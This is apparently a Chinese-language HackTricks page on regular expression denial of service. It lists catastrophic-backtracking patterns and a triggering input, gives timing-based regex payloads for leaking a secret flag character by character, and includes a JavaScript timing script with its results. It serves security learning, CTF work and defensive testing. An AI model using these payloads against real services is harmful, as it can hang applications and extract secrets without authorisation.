mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
101 lines
5.5 KiB
Markdown
101 lines
5.5 KiB
Markdown
# 正则表达式拒绝服务攻击 - ReDoS
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
# 正则表达式拒绝服务攻击 (ReDoS)
|
||
|
||
正则表达式拒绝服务攻击(ReDoS)是一种利用正则表达式实现中的低效率来进行的拒绝服务攻击。大多数正则表达式引擎可能会遇到极端情况,它们的**执行速度非常慢,通常与输入大小成指数关系**。通过利用这一点,攻击者可以导致使用正则表达式的程序长时间挂起。
|
||
|
||
## 问题正则表达式天真算法
|
||
|
||
**查看详情 [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||
|
||
|
||
## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
|
||
|
||
恶意正则表达式模式指的是那些可以**在特制输入上卡住**的模式。恶意正则表达式模式通常包含带有重复的分组,以及重复或交替的分组内部有重叠。一些恶意模式的例子包括:
|
||
|
||
* (a+)+
|
||
* ([a-zA-Z]+)*
|
||
* (a|aa)+
|
||
* (a|a?)+
|
||
* (.*a){x} 对于 x > 10
|
||
|
||
以上所有模式都容易受到输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 的影响(最小输入长度可能会稍有变化,取决于机器的快慢)。
|
||
|
||
## ReDoS 载荷
|
||
|
||
### 通过ReDoS进行字符串泄露
|
||
|
||
在CTF(或漏洞赏金)中,您可能**控制着敏感信息(标志)与之匹配的正则表达式**。然后,如果能够使**页面冻结(超时或更长的处理时间)**,如果**正则表达式匹配**则**不冻结**。这样您就可以**逐个字符地泄露**字符串:
|
||
|
||
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中,您可以找到这条ReDoS规则:`^(?=<flag>)((.*)*)*salt$`
|
||
* 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||
* 在[**这篇writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中,您可以找到这条规则:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
||
* 在[**这篇writeup**](https://ctftime.org/writeup/25869)中,他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||
|
||
### 控制输入和正则表达式的ReDoS
|
||
|
||
以下是您**控制**输入和正则表达式的**ReDoS**示例:
|
||
```javascript
|
||
function check_time_regexp(regexp, text){
|
||
var t0 = new Date().getTime();;
|
||
new RegExp(regexp).test(text);
|
||
var t1 = new Date().getTime();;
|
||
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||
}
|
||
|
||
// This payloads work because the input has several "a"s
|
||
[
|
||
// "((a+)+)+$", //Eternal,
|
||
// "(a?){100}$", //Eternal
|
||
"(a|a?)+$",
|
||
"(\\w*)+$", //Generic
|
||
"(a*)+$",
|
||
"(.*a){100}$",
|
||
"([a-zA-Z]+)*$", //Generic
|
||
"(a+)*$",
|
||
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
||
|
||
/*
|
||
Regexp (a|a?)+$ took 5076 milliseconds.
|
||
Regexp (\w*)+$ took 3198 milliseconds.
|
||
Regexp (a*)+$ took 3281 milliseconds.
|
||
Regexp (.*a){100}$ took 1436 milliseconds.
|
||
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
||
Regexp (a+)*$ took 723 milliseconds.
|
||
*/
|
||
```
|
||
## 工具
|
||
|
||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||
|
||
# 参考资料
|
||
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||
|
||
<details>
|
||
|
||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击技巧!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|